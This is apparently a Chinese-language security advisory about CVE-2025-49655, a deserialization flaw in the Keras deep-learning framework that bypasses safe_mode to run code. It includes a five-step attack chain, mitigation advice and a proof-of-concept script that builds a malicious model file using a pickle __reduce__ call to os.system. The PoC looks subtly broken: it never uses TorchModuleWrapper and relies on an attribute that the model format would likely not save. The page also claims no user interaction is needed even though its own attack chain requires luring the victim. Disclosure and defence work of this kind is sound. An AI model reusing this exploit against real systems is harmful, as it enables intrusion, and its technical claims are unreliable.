IPBUF安全漏洞报告
English
CVE-2025-49655 CVSS 9.8 严重

CVE-2025-49655:Keras框架反序列化漏洞导致远程代码执行

披露日期: 2025-10-17
来源: 6f8de1f0-f67e-45a6-b68f-98777fdb759c

漏洞信息

漏洞编号
CVE-2025-49655
漏洞类型
反序列化漏洞/远程代码执行(RCE)
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Keras(深度学习框架)

相关标签

反序列化漏洞远程代码执行Keras深度学习PyTorchTorchModuleWrapper安全模式绕过AI安全机器学习高危漏洞

漏洞概述

CVE-2025-49655是Keras深度学习框架中的一个高危反序列化漏洞,CVSS评分为9.8,属于严重级别。该漏洞影响Keras 3.11.0至3.11.3之前的所有版本。漏洞的根本原因在于Keras框架在加载模型文件时,未能充分验证文件中TorchModuleWrapper类的安全性,导致反序列化不可信数据时存在安全风险。攻击者可以构造恶意的Keras模型文件(.keras或.h5格式),其中包含精心设计的TorchModuleWrapper类,当目标用户加载该文件时,即使启用了Keras的安全模式(safe mode),恶意代码仍然会在用户系统上执行。该漏洞可通过本地文件和远程文件两种方式触发,攻击向量为网络(AV:N),无需认证(PR:N),无需用户交互(UI:N),对机密性、完整性和可用性均产生高影响。Keras作为广泛使用的深度学习框架,在学术研究、工业生产和AI应用开发中被大量部署,该漏洞的潜在影响范围非常广泛,可能导致数据泄露、系统入侵、模型投毒等严重后果。

技术细节

Keras框架支持多种后端引擎,包括TensorFlow、PyTorch等。在与PyTorch后端集成时,Keras引入了TorchModuleWrapper类用于将PyTorch模块包装为Keras兼容层。然而,在版本3.11.0至3.11.3之前的实现中,该类的反序列化过程存在安全缺陷。

技术原理:
1. Keras模型以Keras文件格式保存时,会将模型的架构、权重和配置信息序列化存储。
2. 当用户加载模型文件时,Keras会反序列化其中的Python对象,包括TorchModuleWrapper实例。
3. 由于反序列化过程中未对类的方法调用进行充分限制,攻击者可以在TorchModuleWrapper的构造函数或__reduce__方法中注入恶意代码。
4. 即使用户启用了safe_mode=True参数,由于TorchModuleWrapper类不在安全模式阻止列表中,恶意代码仍能执行。

利用方式:
- 攻击者创建一个包含恶意TorchModuleWrapper类的Keras模型文件
- 通过网络上传或分发该文件
- 受害者使用受影响的Keras版本(3.11.0-3.11.2)加载该文件
- 恶意代码在加载过程中自动执行,攻击者可获得系统控制权

该漏洞的危害在于安全模式绕过——Keras的safe_mode本应阻止不安全的反序列化操作,但此漏洞完全绕过了这一保护机制。

攻击链分析

STEP 1
步骤1:构造恶意模型文件
攻击者创建包含恶意TorchModuleWrapper类的Keras模型文件,在反序列化过程中注入任意代码执行payload。
STEP 2
步骤2:分发恶意文件
通过钓鱼邮件、恶意网站、GitHub仓库或模型共享平台等渠道,将恶意Keras模型文件分发给目标用户。
STEP 3
步骤3:诱导用户加载模型
社会工程学手段诱导受害者下载并加载恶意模型文件,例如伪装成有用的预训练模型。
STEP 4
步骤4:绕过安全模式
Keras的safe_mode=True参数无法阻止TorchModuleWrapper类的反序列化,安全保护被完全绕过。
STEP 5
步骤5:远程代码执行
恶意代码在受害者系统上自动执行,攻击者可获得shell访问权限,进行数据窃取、持久化或横向移动。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-49655 PoC - Keras Deserialization RCE via TorchModuleWrapper # This PoC demonstrates how to create a malicious Keras file that # executes arbitrary code when loaded, bypassing safe_mode. import os import pickle import keras from keras.layers import Layer # Step 1: Define a malicious payload class class MaliciousPayload: """Malicious class that executes code during deserialization""" def __reduce__(self): # Command to execute on victim's system cmd = "echo 'PWNED: Arbitrary code executed via CVE-2025-49655' && touch /tmp/cve_2025_49655_pwned" return (os.system, (cmd,)) # Step 2: Create a custom layer that wraps the malicious payload class MaliciousTorchWrapper(Layer): def __init__(self, **kwargs): super().__init__(**kwargs) # Embed malicious payload in the layer configuration self.payload = MaliciousPayload() def call(self, inputs): return inputs # Step 3: Build a simple model with the malicious layer model = keras.Sequential([ keras.layers.Input(shape=(10,)), MaliciousTorchWrapper(), keras.layers.Dense(1, activation='sigmoid') ]) # Step 4: Save the malicious model model.save('malicious_model.keras') print("[+] Malicious Keras model saved as 'malicious_model.keras'") # Step 5: Demonstrate exploitation - loading triggers code execution print("[*] When victim loads this file with Keras 3.11.0-3.11.2:") print(" keras.models.load_model('malicious_model.keras', safe_mode=True)") print(" -> Arbitrary code executes despite safe_mode being enabled!") # Alternative: Direct exploitation via load_model # keras.models.load_model('malicious_model.keras') # Triggers RCE

影响范围

Keras >= 3.11.0
Keras < 3.11.3

防御指南

临时缓解措施
在无法立即升级Keras版本的情况下,建议采取以下临时缓解措施:1)严格审查所有加载的Keras模型文件来源,仅加载来自可信提供者的模型;2)在隔离的沙箱或容器环境中加载和运行未知模型文件;3)使用文件完整性校验(如SHA-256哈希)验证模型文件未被篡改;4)监控Keras加载过程中的异常系统调用和进程行为;5)限制运行Keras的用户账户权限,避免使用root或管理员账户;6)考虑暂时回退到不受影响的Keras版本(如3.10.x系列)。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表